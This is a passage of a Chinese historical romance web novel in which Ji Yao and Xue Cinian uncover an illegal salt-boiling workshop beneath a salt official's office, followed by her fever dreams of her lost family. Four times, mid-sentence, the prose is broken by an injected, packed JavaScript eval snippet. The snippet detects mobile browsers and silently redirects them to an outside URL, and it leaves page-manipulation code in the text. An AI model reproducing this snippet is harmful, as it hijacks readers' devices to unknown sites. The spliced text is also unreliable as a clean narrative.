扬州人爱雅，投壶亦要在壶矢上缀带鲜花，增加难度的同时，让诸类花朵簇成一团，因此时常胜负两忘，八矢之下，投出来最为好看的，往往才是最为得意之人。 季窈不曾听闻过这样投壶的规矩，拥在人潮当中，望着薛辞年与一人来往相较，眼看就要投出最后一箭，人潮中不知为何不安的涌动起来。 人潮外隐约传来嘈杂钝响，急蹋的马蹄声重重逼近，慌乱的尖叫和呼喊瞬间爆发，四下激烈推搡起来。 季窈尚未来得及反应，后背不知被谁猛地一推—— 溅翻的贯耳壶内箭矢横飞，险险擦过她的发鬓，打下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923769|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她唯一挽发的素簪，箭尾点缀的芍药花瓣惊落在她散落的发间，马匹不管不顾冲撞而来！ 季窈浑像是坠溺在这片刻混乱当中，翻扬疾奔的铁蹄，混沌成影的人群，她甚至无法惊叫出声，直至眼前一暗，以为是马蹄无情踏下，没想到跌跌撞撞摔入一人怀里。 少年情急之下几乎是扑过来的，携着她旋身侧避，堪堪掠过将至的马蹄，而后借着惯力就地翻滚几圈，勉强与她一同脱了险。 快马扬长而去，留下一串嚣张的笑音。 薛辞年扶季窈起身，见她无事，安置她到清净处坐下歇息，返回去寻原本戴在脖间的鱼莲玉坠。 周围无一不是埋怨咒骂声，桥畔卖花的老妪拄着藜仗唏嘘：“幸好公子你反应快，不然这姑娘年纪轻轻，到时和之前那几人一般可就不好了……” 玉坠失而复得，薛辞年正来回确认有无裂隙，闻此侧头疑问：“方才策马的，是个什么人？” “你们是外地来的吧？”问话的似是这老妪的孙儿，他这几框花枝被乱况掀得到处皆是，水里、桥岸、人们的足靴下，或零落折断，或碾转成泥。 他拾捡着地上尚还完好的，一边道：“就刚刚纵马那位，那可是全扬州顶顶富贵的商户，陆家家主的妻弟！连转运使见了都要礼让三分！从他手里面捡回一条命，你且回去敬敬阎王，感谢他没忍心收了你！” 薛辞年听完心下留疑，已是无声无息记了此人一笔。他轻声笑笑，垂眼端详掌中玉坠，喉中话音低低，像是自语：“纵是阎王亲临，我也定保她平安无虞。” 老妪笑得愈发慈爱，“既护好了你家小娘子，还不快快先替她将发挽上，姑娘家总是要颜面的。” 薛辞年一回头，见少女满头乌发披垂于肩，面上未见分毫窘迫，倒是拂动的发丝在日光下泛着亮丽的光泽，嫣红的芍药花瓣绕在她的发间。 他几步上前，探出手时又心生犹豫，在她仰头看来后，还是摘下她发顶未拂净的花瓣，询问道：“要帮忙么？” 季窈刚才一遭翻滚耳鸣了好一阵，方才的话听的断断续续，缓神时依稀听到老妪最后说的几句，没想到薛辞年当了真。 下意识推辞：“公子莫开玩笑，你哪里会挽发，更何况发簪都不知丢哪里了……” “何需发簪？” 他像是急于证明自己，绕至她身侧，伸掌拢住她的发。 微凉的指骨擦过季窈的后颈，惊得她双眸睁圆，定在原地忘了动弹。 少女发质柔韧，握在手中如春日新发的嫩柳，沉甸甸、水盈盈的。 他的手出奇的巧，五指翻飞，从她耳后向身前缕出长长的发辫来，紧密、规整、层层分明似鱼的脊骨。 而后用袖中的鹅黄细绳将发尾锢好，又从售花的商贩手里买了几枝干净的小花，栀子、月见，粉白交错着，点缀其间。 一旁的老妪不住地夸赞他，又含着几分打趣，称他定是经常为姑娘挽发。 薛辞年摇头，捏着少女的发辫，语带轻笑解释：“幼时在外祖家，学着编了许多绳结，会的多些，如今用在头发上想来也是一样。” 他说着，看向湖对岸，那里伫着一方巍巍飞檐的宅子，季窈也顺着他的目光看去，猜想那便是姜家了、他的外祖家。 薛辞年没有过去探望一眼的打算，向后眺一眼，道：“往下面去吧，漕司的人追来了。” 11. 第 11 章 底下的监盐官尚在监署内绕着沙盘饶有兴致推究，厅堂外的小吏慌不择路闯进来，大惊失色喊道：“大人！大人！朝廷来人了！” 陈邈仪素有胸痹短气的旧疾，平日本就寡言喜静，教这愣头青冒冒失失的一打搅，手中长尺将沙盘上堆砌的捍海堰一下戳散，且还心有余悸，按着胸口平复：“冒冒失失的做什么？来便来了，多少日前的事了……” “不、不是的大人！”小吏语无伦次，“不是前几日，是如今呐！如今！朝中的按察使如今到我们盐场来了！” 陈邈仪拂一拂袖，斜乜向他，“虚什么，难不成你做了对不住朝廷的事了？还是你觉得本官做了对不住朝廷的事了？” 对面的声音便弱下来，“属下不敢。” “人到何处了？”陈邈仪问。 小吏忽又讷讷，“在盐场，已巡了两块盐池了……” 陈邈仪眼神一凛，刺向他，“怎么不早说？” 说着抛下手中长尺，大步流星往外走去，朝后吩咐道：“去知会护宝都的人，做好盐场守御，莫使奸邪之徒得近，免得再步了上回金部侍郎的后尘。” 小吏称是，二人一前一后跨出门阈，门厅上“明德流芳”的牌匾承接旭日，仿若照于金镜般灿然生辉，俯视着他们离去。 陈邈仪匆匆赶到盐场，还未与这朝廷派下的按察使搭上话，忽见他一把擎住了身侧姑娘的手臂。 方才为避漕司之人，行船行得颇急，季窈不惧水，南下之时也未觉不适，可到底经不住如此颠簸。虽不至于呕逆，却觉云雾罩顶、气血不顺，下船后又随薛辞年巡了两块盐池，忍耐许久，如今实难支撑。 “怎地了？可是哪里不舒服？”薛辞年的语速有些急。 陈邈仪在旁看着，一时琢磨不透这姑娘的身份，但此般状况也不好顾虑太多，紧忙道：“北人不善乘船，这位姑娘怕是苦船之疾，不若先送去监署的厢房暂作歇息。” 季窈脸色青白，接不上他们的话，唇瓣无声张合几下，紧接着整个人陷进黑暗。 待到悠悠转醒，是在一片交错的光影当中。 日光透过窗子轻薄的茜纱，在厢房内洒下柔和的光晕，光晕中微尘浮游，闪烁着细亮晶芒，身上的锦被也像被镀上一层金粉。 少女微张的睫羽下泄出剔透的光，那光眨动几下，随后偏过头，轻轻翻了个身。 如同从前在家中每次午睡后醒神，安静的、慵懒的，怡然端详屋中的一切。 她已经许久没有这样踏实的睡过一觉了。 候府倾覆后，她命若漂萍，朝不保夕，提着一口气不敢松懈；如今在相府，她行的是棘手难行的险事，做的是枕戈剚刃的赌徒，即便薛辞年宽容待下，也终究是仇人之子，不可寄命。 这助她漆身吞炭的印记不知何时会失去效用，灭门的证据她连一丝头绪都没摸清，这样黑这样长的一条路，她一个人跌跌撞撞走着，半刻也不敢停…… 思绪飘飞之际，屋外有人叩门询问：“姑娘，您醒了吗？” 季窈闻声起身，移步到门边，拨开门栓的瞬间恰时起了风，细长的竹叶与不知何处飘来的花瓣打旋儿扑向她的裙衫，她忍不住抬手遮了遮眼。 门外的小吏拣起落在门槛上的白栀子，捧到她面前，“姑娘，您发上的花掉了。” 他似乎误会了她的身份，以为她是什么贵人娇客，是以态度十分殷切敬重。 季窈接过他手中的花，对他道“多谢”，打量一眼署院中的布局，正欲开口解释，他又紧跟着出了声。 “姑娘是在找按察使大人罢。”这小吏眼皮子活泛，却误解了她的意思，“他方才已由我们大人带着，从烧盐的草荡管摄，到煮盐所用盐盘的收贮，再到盐政户籍的灶户划定，一一督验逡巡过，现今正坐在堂间喝茶，等姑娘醒来呢！” 他话密，行事也快，季窈莫名被他引着，到了厅堂，沙盘上绵延的捍海堰推演一半，案上只剩余温尚在的两盏残茶，堂间人影空空，薛辞年和陈邈仪不知去往何处了。 小吏一拍脑袋，恍然想起：“两位大人方才谈起海滨即要修筑的捍海堰，按察使大人颇有些兴会，许是一同前去了，姑娘稍候，我去唤人。” 季窈急忙叫住他，“二位大人忙于公务，不好过多打扰。” “姑娘有所不知。”小吏笑着解释，“是按察使大人亲自交代，说等您醒了，要第一时间告知他。” 他说完掉头走的飞快，转眼连影也瞧不见了，季窈原地徙倚一圈，注意到据阔在堂中的长案。 那上头置着沙盘，堆砌的堤堰婉转如巨龙横卧，是为护海边盐池的存在。 说来，陈邈仪当初能从一不知名县邑的县尉，转调这两淮盐监，还有她的几分背后相助。 当时陛下正为这盐监缺任而苦恼不已。 谈阶论品，盐监好似微末，不值得一国之君因此多虑，可这微末之属终日驻足国家根基，目之所及皆是白盐积山，利之所聚仿若珠玉盈室，满朝文武唯恐不慎连坐，是以无人敢站出举荐。 陛下亦举棋不定，烦躁之下，索性扔由太后做主。 太后为此苦恼几日，于一个薄暮冥冥、淅沥潮湿的傍晚，弹着几张宣纸上所录的密密麻麻的字墨，问一旁挑灯抄经的季窈。 “窈丫头，你说选谁好？” 窗外濡润的风穿过画帘，扰动少女耳边的碎发，她顿住笔，抬头笑一笑：“阿窈忝列臣属之女，安于内闱，对朝政之事一窍不通，不敢妄加议论。” 太后便嗔怪地眄她一眼，道：“你呀，真真是糊涂庙里砌糊涂神儿——这照京之中的贵姓子女，就属你最有主意，不骄矜，不张扬，放着大好的风头不占，全让孟御史家的小姐抢了去。” 季窈便搁下笔，挪步到她身后为其捏肩，语调温润：“孟大小姐通经史子集，擅诗赋琴画，才情卓绝，倚马可待，何须抢我的风头？” 太后心疼她腕子酸，拉过肩上的柔荑，引她坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923770|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到自己身侧，盘问道：“那前日在花朝节，你为何不肯对昀青的诗？” “当时从花架翻下的半联诗十余句，我哪里能知道齐王殿下所做的是哪首？”季窈状似不明白。 太后哼一声，显然不信她的说辞，“对诗前所猜的瘦辞你全然知晓，怎地到了对诗时，那隐含瘦辞的上半联诗便看不出来了？” 花朝盛会，士庶游聚，临去前太后莫名提点一句，待得瘦辞猜罢，书着诗句的长绢落下时，季窈才顿悟她的用意。 季窈知搪塞不过，垂着颈说了实话：“阿窈无心储妃之位，故不曾对诗。” 太后嗟叹一声，似是可惜，“无心便无心，哀家没有责怪你的意思。” 季窈不语，睃见她手中的几张宣纸，接过一一细看，做出评判： “姜绥出身仕宦之家，丞相薛显之甥，光禄寺丞姜玉峰之子，盐监之任确可磨砺心性，只是资历尚浅，恐周旋不过那群钻营油滑的盐官。” “崔大人一介老臣，宦海沉浮半生，一应事务确能应付裕如，只是盐场风咸卤重，身子大约吃不消。” “翰林学士许大人，十年前的寒门新秀，如今已成京中显贵，为陛下倚重，听闻前些时日沉疴难起，如今尚未好透，令其扶病上任，却显得陛下无体恤臣子之情了。” “陈大人……”她抽出最末的那张，凝眉思忖，“沁县县尉，为官一方，政绩称不上斐然，亦非陛下密臣，只是廉隅自持、心系黎庶之名广为传颂，近日将过了守孝之期……试上一试未尝不可。” 盐官是皇帝的心腹大将，同样也是心腹大患，实则季窈早已猜透了太后的心思。 姜绥、许玉成，重臣薛显的亲甥舅兄，未敢轻易委用；而崔大人确实年事不济，不宜奔走；唯有陈邈仪，两袖清风，不倚门庭，如当年初入照京的许玉成。 否则一个深闺未长成的小女子几句浅薄之言，太后怎会当着听从，回话的谏书翌日便传到陛下手中…… 得此消息的季窈仍旧心中惶惶好了一段时日，生怕陈邈仪不堪大用，父亲因自己的缘故在朝中受到牵连。 好在……好在陈邈仪确如传言一般，在季家出事之前，都未曾出过什么差池。 季窈的目光落回那深浅起伏，色泽已有些陈旧的细沙上，看得出是经过了反复揉搓推演的，结合案沿厚厚的一叠笔札，详明周至，堤之规制、走向、构筑之法，皆已完备。 她绕着长案细细观看，认真间一时不察，拂落了压在笔札上的镇纸。 那镇纸是实心的铜材，厚重压手，形状好似灯笼，滚瓜溜圆的一个，落地“咚”的一声钝响，骨碌碌往门枢的角落滚去。 季窈正欲动身去捡，便听“嘎哒”一下，轻不可闻的机括拨动声——那门枢之后，镇纸之下，平平整整的地面竟赫然凹下去一块！ 耳畔“轰隆”一声，脚下所站之地乍然被抽去，季窈刹时间感到浑身失重，连同出口半句的惊呼，一齐被这黑洞吞并进去。 12. 第 12 章 头顶一方亮光，照清四五级石条砌造的斜阶。 斜阶不算高，季窈从当中跌下来，瞬间荡起的灰尘呛得她謦咳不止，发上的花经不住这接连的外力，簌簌震落几朵。 不见处的肘膝隐隐作痛，应是已经磕破，掌间亦多出几处擦伤。 一股咸腥与湿潮的气息自脚边上涌，扑得季窈半边身子起粟生寒，低颈去看，向下的甬道黑深蜿蜒，没有尽头，宛若巨兽的肠道。 唯有两侧石墙的壁灯飘着缕缕烟气似的光，相接照亮往前的路。 郎朗昭然，这密道却亘于堂堂监署之下，实属背逆常道，季窈心想自己当初莫非果真识人不善，荐错了人？ 纵然她当时涉世未深，这一官位也必是经过太后深思熟虑，不会因她的三言两语就儿戏定下，但终究由她做出论断，如若事实如此，她只怕要愧悔无地。 这般想着，季窈扶着石墙站起身，顺势摘下一只稍亮的壁灯，壮着胆子往前摸索。 甬道内静极，每踩在石阶上一步，就会响起沙沙细碎的摩挲声，季窈起先并未起疑，直至曲折的石阶走尽了，到了敞阔的巨兽腹地，脚下的沙粒感愈重。 她心觉怪异，持灯往裙边一照，飘忽的烛焰稳住后，映亮脚下一层闪烁的冰晶，像是深秋落下的霜雪。 季窈心间一沉，蹲下身用指腹沾了一点，凑近鼻尖轻嗅。 带着海水咸腥的气味，确为盐粒。 此处靴印明显，杂错有序地曼延向前，分入死墙两侧狭窄的过道。 季窈一时不知该择哪一条，心知不可游移拖延，为求稳妥，沿着靴印稀散的那条悄声循了过去。 幽暗里折转数回，方见侧边开出一间密房，房内烛火微微，有人的对话声隐约传来。 “……朝廷的动作越发频繁了，这样下去，迟早得出事。” 季窈将灯吹灭，贴在墙边屏息听着。 “你莫要胡说，若非陈大人辟这一方天地，让我们这些盐户能煎些私盐去贩，否则光是这路级层层盘剥下来，连盐本钱都回不来，如何过活？” “话虽如此，但这般行事总归不是办法，尤其上次那叫什么……郎中的官儿，在玉纱江出了事，听闻连今上都惊动了……” 对答的人似是灌了碗酒，“噔”的一声撂下，恶声道：“要查也是查那姓陆的！干我们何事！” 姓陆的？ 季窈心觉耳熟。 忧心之人哑了音，也端起酒碗喝了一口，像是安慰自身：“好在咱们从来按需供给，且制且卖，不曾留下甚么把柄，改日先把这盐盘处理了，避一阵风头再说。” 听他这话，季窈挪近几步，往密房内瞄了一眼——果见角落里摆着几方形制硕大的圆盘，外身覆一层红褐色的绣铜，想来所用时日不短。 大致状况已然获悉，此地不宜久留，还是得尽快抽身。 季窈捂着壁灯悄声后退，尚未来得及回看来路，另一头却霍然轰乱起来，刀箭相撞的刺耳声夹杂其间。 密房里的两人被惊动，其中一人才将踏至门口，就被一柄铜灯重重甩到面上，痛得他眼泪花直冒，只看到一角飘飞的缥青绫裙，和上面绣就的玉兰花。 季窈一心朝来时的方向疾奔，到了甬道之下，却见混在一片缠斗中的，赫然是云师！ 身后的脚步穷追不舍，季窈一把掀翻近旁高竖的兰锜，之上兵刃剑戟稀里哗啦倒地，为她挣得一线时机。 “姑娘不必管我！去上面找公子！”云师看到她，紧忙提醒。 “我知道！”季窈应他一声，从边上急急跑过，步子连顿都没顿一下。 云师困在攒动的人头当中，隔着缭乱的刀光利影，晃见咬向少女后背的长鞭时面色骤变，分神大喝：“姑娘小心！” 话未落，暗昧的甬道上一阵劲风飞袭，猎猎衣袍掀灭沿途灯盏，季窈感到有柔软绸带擦过她的侧颈，余下一阵朱玉相碰的清脆声。 呼啸而来的鞭身被少年徒手接住，他借着来力，一臂将执鞭之人人拽翻，踩着此人踉跄倒去的肩膀救向云师。 云师因方才分心挨了一刀，加上动起干戈的皆是些凡俗盐户，始终收着身手，确实应付不来，而今薛辞年一至，颓势很快得以扭转。 不知是谁在此时触下机关，远处长木悬荡而来——薛辞年毫不犹豫将云师推开，被直直撞入应声打开的斗室中。 四遭静了一静，土尘高涨，混着粗粝的盐粒直往人的肺腑钻。 不甚清晰的光线下，一对幽绿绿冒着精光的眼自薛辞年身后显现。 云师大惊失色，眼睁睁看着那枵腹已久的狼犬张开血口，扑向前面半跪在地、一时起不来身的薛辞年，失声大喊： “公子——” “咻”的一道急速气流声，长影快得让人难以捕捉，有什么锐利之物破风而过，随即是入肉闷响。 狼犬轰然坠地，一支弩箭正中其眉心。 云师一口气半松，倏而反应过来什么，不可置信转首看去。 只见角落一隅灰褐的孤光下，少女单手稳稳握着弩机，平举指前，弩箭后力震起的风扬动她发尾的鹅黄细带，扬落她发上为数无几的花，扬皱她淡缥色的裙裾。 无一不是荏弱而需要人保护的。 可偏偏是这样一个需要保护之人，适才一击射杀了这凶物，气势凌厉的好似一柄未开刃的剑。 甬道内传来交错急踏的脚步声，无数火把随之靠近，照亮密道底下这一番乱况。 陈邈仪在两侧跃动的火光下站定，化不开的暗色在他的脸上加深阴影，越发显得他的神情沉郁难辨。 薛辞年掌心的鞭伤尚还滴滴答答淌着血，他竟还笑得出来：“陈大人，本官此行还回得去吗？” 远远的，陈邈仪露出个笑来，却是半点真意都不见，“小薛大人顽笑，我朝水道之畅达，从未有壅塞断绝之先例，怎会回不去？” 少年点点头，漫不经心翻着沾血的指掌打量，意有所指：“当不能如金部的郎中大人那般，好端端的来，扔半条命回吧？” 陈邈仪静默片刻，道：“本官以头顶乌纱担保，小薛大人定会平安抵京。” 笑谈风云一般，言语间尽藏机锋，二人像是达成了什么共识，整个密道的氛围微妙的松动。 季窈的视线从他们之间游转开来，落在脚边薄薄的、已被踢踏混浊的盐霜上。 那从兰锜翻倒在地，被她匆忙捡起的弩机还沉沉坠在她手上，方才发射的力道震的她虎口发麻，整只手臂也跟着酸软无力。 头顶光亮变暗，一双靛青云头靴停在她身前，手上重感一卸，弩机被少年顺手接过，“咣当”一声，随意掷到旁边的空地上。 他向下虚握住她发颤的手腕，带着她向承接光亮的出口走去。 季窈看到他另一只手上淋漓的伤口，鲜艳的血珠顺着指尖一路滴落，与脚下盐霜土尘融合在一起。 两侧执着火把的差役分做两侧，为他们让开道路，薛辞年带着她踏上甬道。 途径孙邈仪身侧时，他微微偏头，桃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923771|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花眸一如既往地含着笑，口中的话语焉不详：“本官竟未曾想到下方盐场如此冗忙，倒搅扰诸位了。” “是啊。”陈邈仪牵出个冷冷的笑回敬他，“两淮盐户无有休时，每日晨兴劳作，暮夜戌时方歇，更有甚者至亥时犹不得闲……托小薛大人的福，自明日起，却能少些辛劳了。” 薛辞年挑眉，“那岂不正好？大人与手下之人好生歇息一段时日，也省的本官多费心力了。” 陈邈仪沉着脸不再发话，薛辞年也不在意，继续牵着季窈拾阶往上。 感知到她脚下步子一绊，虚握的手便便下意识将她的腕子攥紧，使她得以凭力，口中道：“只是你们监署待客实在疏慢，我这小姑娘一整日滴水未进，饿得都没力气走路了。” * 宅院的半月形池塘由活水引就，来水明，去水暗，水弯曲有情。 此去一程，余霞早已散作云绮，池水被映得浓郁，泛着点点银光，鱼在软红的水波里悠来曳去，忽教池边一行脚劲扎实的步子一惊，俶尔游窜不见了。 季窈瞟了眼窗外告命离去几个孔武背影，明白了薛辞年半个时辰前，在密道中为何那般有恃无恐。 ——陛下竟亲自调动御风司的人随行，任他差遣。 倘使当时陈邈仪敢说一个不字，这些人当即就会冲进去，届时，便再不是轻飘飘一句误起争端那样简单。 至于为何没有当场拿人，而是掩下风声，暗中控制盐场……她的目光落在池中体色鲜红，试探冒头的锦鲤身上——只怕是更大的鱼迟迟不肯出窝，丁点儿涟漪都能令其悚然止动，不得不慎之又慎。 手上包扎的动作因这番琢磨失了轻重，对面忍痛的吸气声拉回她的神思。 晚空不知何时扬起雨丝，细雨如烟，一边映着明艳的霞光，一边冷清清随风飘散。 季窈赶紧查看裹在他掌上的绢布，庆幸道：“没有出血。” 抬头却发现少年两弯弦乐眉似蹙非蹙，浸着层窗外的蒙蒙雨雾，浓淡相宜似古画上山水相依的景致，面上却并无痛苦之色。 季窈下唇不经意一撅，幅度极小，心觉他这人在戏弄自己。 薛辞年见她拢了神，兀自有心拨弄起花几上植在盆奁里的白兰花，饶有兴致地回忆：“阿婵身手不凡，一把弩机使的出神入化，于危急关头救下我的性命。” 他目光里似有惊叹，更有探究，季窈心中微微一紧，答：“奴婢本有一非亲的长兄，自幼习武，身手卓绝，刀枪剑戟无一不精，我用弩机的本事，便是由他亲自指授的。” 她并不知晓原本的阿檀是否有兄长，仅有的消息还是从牙人口中得知。只得硬着头皮将自己的经历强加在她身上，左右占着“非亲”二字，到时开脱亦有余地。 “大靖竟还有这般英才的人物。”伤口包扎妥善，薛辞年像是未曾察觉，压着她的手犹自慨叹：“若有机会，你这长兄我倒想结识一番。” 窗外雨脚如麻，沥沥拉拉下得愈发紧密了起来，天色在片言之间已然收暗，只剩一丝残光。 季窈没说话。 她清晰地看到了薛辞年眼中不曾消减的迟疑。 但见他悠悠转眸与她直视，桃花眼一如既往的波光潋滟，若含春水般多情，“北人不善乘船，可若我记得不错，阿婵乃江州人士，生于南土，长于南土……” 白兰花叶片滑润而柔厚，教他拨弄的颤颤。 “即是南乡旧客，如何会有苦船之疾？” “吧嗒”一声，白兰轻轻落地。 13. 第 13 章 直棂窗被风刮开些许，半压的镇纸下翻落几张泛黄的纸卷，一枝娇嫩带水的月季从中斜斜探进头来。 最后一丝天光隐没于无，只剩一层昏矇的光影。 季窈背坐在风口，爽籁的夏风挟着水汽覆上她的后脊，分明是极适宜的，却冷得她遍体生寒。 “阿婵的心跳得好快。” 少年的喉音恰如这窗外泠泠落雨，轻而飘，带着柔和低徊的尾音。 如此暗昧不明的态度，越发让季窈拿捏不准，心中反复计衡着能够自圆其说的遁词，尚未张口，便被腕间的痛意激得的欲要抽离。 压在她的腕心上的手分毫不动，薛辞年沉吟着：“弦细、结滞，往来不畅如青刀刮竹，常日里忧思重虑，心神不宁……譬如现下。” 他指腹的温度灼热，压在她冰凉如玉砌的腕子上，早已在不知不觉间切上她的脉象，得出这样一番确切的论断。 少女的眸子在阴影中折射出明灭的光，不偏不倚回视向他，定定良久，扬起个恰到好处的笑靥，“公子身份贵重，处尊居显，自是不能体会微贱之苦，浮梗之痛。” 她缓缓收回手，扶案起身，绕回那被他轻巧避开的话题：“何况，谁人说南江之人必不病于舟行？江左烟波之地，庶民虽谙水性，溺毙者亦不可胜计，公子方才所言未免谬妄。” 她这举动实属逾矩，薛辞年不得不抬头仰视她，暗室之内，细密的雨声放大片刻，忽教他低低的、愉悦的笑音掩盖下去。 他也随着她起身，峭拔的身形瞬间将她笼罩，眸光不经意一垂，落在她的肩颈。 穿窗而来的雨雾不知不觉间将她单薄的罗丝襦衣洇湿，透出她匀称细腻的肌骨，他呼吸一紧，耳尖悄红。 终是无奈地叹一口气，道：“阿婵是病了。” 季窈眉目一僵，神色愣愣立在原地。 他却径直越过她，行至书案前，将饱含水露的月季推出窗外，合窗之际唤了一声：“云师。” “去请大夫来。” 季窈这才后知后觉到浑身冷得发奇，四肢拘急，视线里人影缭乱往来，灌下药，昏昏卧榻数日未起。 不知是不是薛辞年对自己会用弩机生出的怀疑，她难得梦到了幼时。 那时南关历经一场惨战，阿兄亲父为岭南都护将军，誓死不降，连同发妻与五千戍边将士一齐折在了泥沼下。 父亲同情他幼失怙恃，平乱后上书请示陛下，接他入府中以亲子之名相待，不料却卡在了祭宗祠、入族谱这至关重要的一步。 秦桓于府中的位置不上不下，在母亲的冷眼下小心翼翼度日，仅会的本领用来讨好她这个垂髫稚女。 ——教她射弹弓、耍木剑。 又得母亲一顿斥责。 季窈的祖父乃昭辉四年进士，和三朝帝师姜景章师出同门，官至三司使，与昔年早早占稳右相之位的薛家分庭抗礼，祖母是三朝往前大族李姓的孙女，可谓名副其实的官宦书香世家。 母亲自幼便饱读诗书，才气逼人，是整个照京名门贵女的典范，哪里能容许悉心教养的幼女让他带偏？ 父亲却不以为意，认为自己武将出身，女儿自当有他的风范，并无不妥。 母亲本就因秦桓一事同他置气，因此气上加气，直接将他赶出门外，分了房睡。 烽火的边沿连季窈的半缕发丝都没挨及，夜里奶嬷嬷将她安置好，灭了灯，退出门外没多久，忽听窗柩上时轻时重的敲击声，是有人正拿石子投掷。 她赤着脚下榻，推开窗，便对上雪月下一前一后、分外热切的两道眼神。 “窈窈，趁鸟雀熟睡，袭击巢窝，去也不去？”秦桓晃晃手中的弩机。 白日母亲身边的侍婢将二人拉扯开来时，秦桓分明看到了她对自己手中弩机的新奇。 “去！”季窈毫不犹豫答应。 父亲便压着笑着将她抱出窗外，阿兄贴心地把窗户关回原样，父子三人鬼鬼祟祟摸到后园“夜袭”。 因出来的匆忙，她只着寝衣，未穿鞋，秦桓便脱了自己的毡靴套给她，父亲用大氅将她裹作一团，弩机交到她手上，哄着教她如何去玩。 当母亲领着护院的家仆、侍婢浩浩荡荡绕过假山，拨开梅枝，出现在三人身后时，看到的便是这样一副景象。 父子二人当即便跪到了堂间，侯府上下灯火通明如昼日，母亲坐在正位忍气不发，父亲一力揽责，她在旁已困得懵懵。 “全是朝雨一人之错。”安静间隙，秦桓出了声。 “分离夫妻之心，搅乱家宅之宁，朝雨本无颜面留在此地。”他跪得笔直，眼眶却通红。 说着向下深深磕了个头，道：“连日叨扰，烦不盛烦，还望侯爷、侯夫人见谅。” 说完撑起瘦弱的身躯，冻得发紫的双足转而往门外行去。 季窈见此心急，从嬷嬷怀里挣下来，拖着大上许多的毡靴追上去，牵住他的手，稚声问他：“阿兄去哪？” 阿兄。 秦桓几乎冷透的手指教一层软热裹覆，因这话，终于开始止不住颤抖起来，他不敢低首，想要说些假话骗一骗她，一张口便掉下泪来，到底没能吐出半个字。 季璋趁乱将此事搪塞过去，翌日二人又因此低声争执起来。季窈捧着的琼叶糕在门外听着。 “……我如何不知他可怜？可这十岁冒头的半大孩子，休说能不能将人养熟，单论这辈子，我只得小阿婵一个，便是要珍藏拱璧一样珍视，生前死后都要为她计量，偏这秦家遗孤是个儿郎……” 苏云意说着一顿，语气带了几分讽意：“你季璋无子，恐是急于继后……想必你早该知晓我的脾性，但凡我活着一日，哪怕将半生情义豁将干净，也谁都不能亏待了我的阿婵！” 季璋连喊冤枉，“我若诚心继后，何不要亲子？你知道我的心意，产厄之痛受上一回便罢，不过是忍不下心撇开阿桓不管，你若不愿，不入族碟便是！何以到了分钗断带的地步……” 夫妻细语半晌，门枢一动，父亲瞧见矮矮的她，朗笑着弯身将她抱起，一下一下向上抛着，嘴中道：“我的心肝小阿婵！” 脑中因这句话嗡然作乱。 ——明媚的春晖下，亭栏外纱幕飞荡，卷头案前水雾缭绕，明华执着沾红的宝相枝唤她，一不留神鼻尖就被她染上铅粉。 重檐歇顶，寝殿内檀香淡淡，太后抚着她的长发唤她，温声解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938837|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悟经义。 河溪边千军待发，阿兄牵着马，站在飘摇的柳枝下唤她，要她早些回家。 雪夜中，万万朵花焰接天炸开，绚烂如瑶光沉坠，少年于奇光异彩里回身，第一次以乳名唤了她…… 她在规矩严苛的宫苑里掷雪球，在无人的宫廊里煮酒喝，宫学青衿飞遍红墙，书声琅琅，太傅也曾赞扬她的策论。 季窈时而回想，是否因为她少年的时光太过顺遂富足，以至将后半生的安定都耗尽了，耗得双亲早死，家破人亡，非要回顾往日那一点点甘甜的余韵、呕心剖肝，用这一生才能偿清宿债。 昏昧的床帐下，少女因病泛红的眼尾蓄出一滴清泪，被少年用指轻轻沾去。 “公子，陈邈仪要见您，已在前厅候了一刻钟了。”云师出现在他身后。 “知道了。” 阴雨下的天色仍是混沌，只剩一抹若有似无的惨淡白光，床帏边燃着几支烛火照明。 薛辞年将帐子合拢，掩好门窗，撑伞步入风雨，朝前厅的方向去了。 听着门外脚步声远去，季窈慢慢睁开眼。 她一点也不意外陈邈仪的到来，昨日密道内的言辞交锋已说明一切。 “……戌时方歇，更有甚者至亥时犹不得闲……自明日起……” 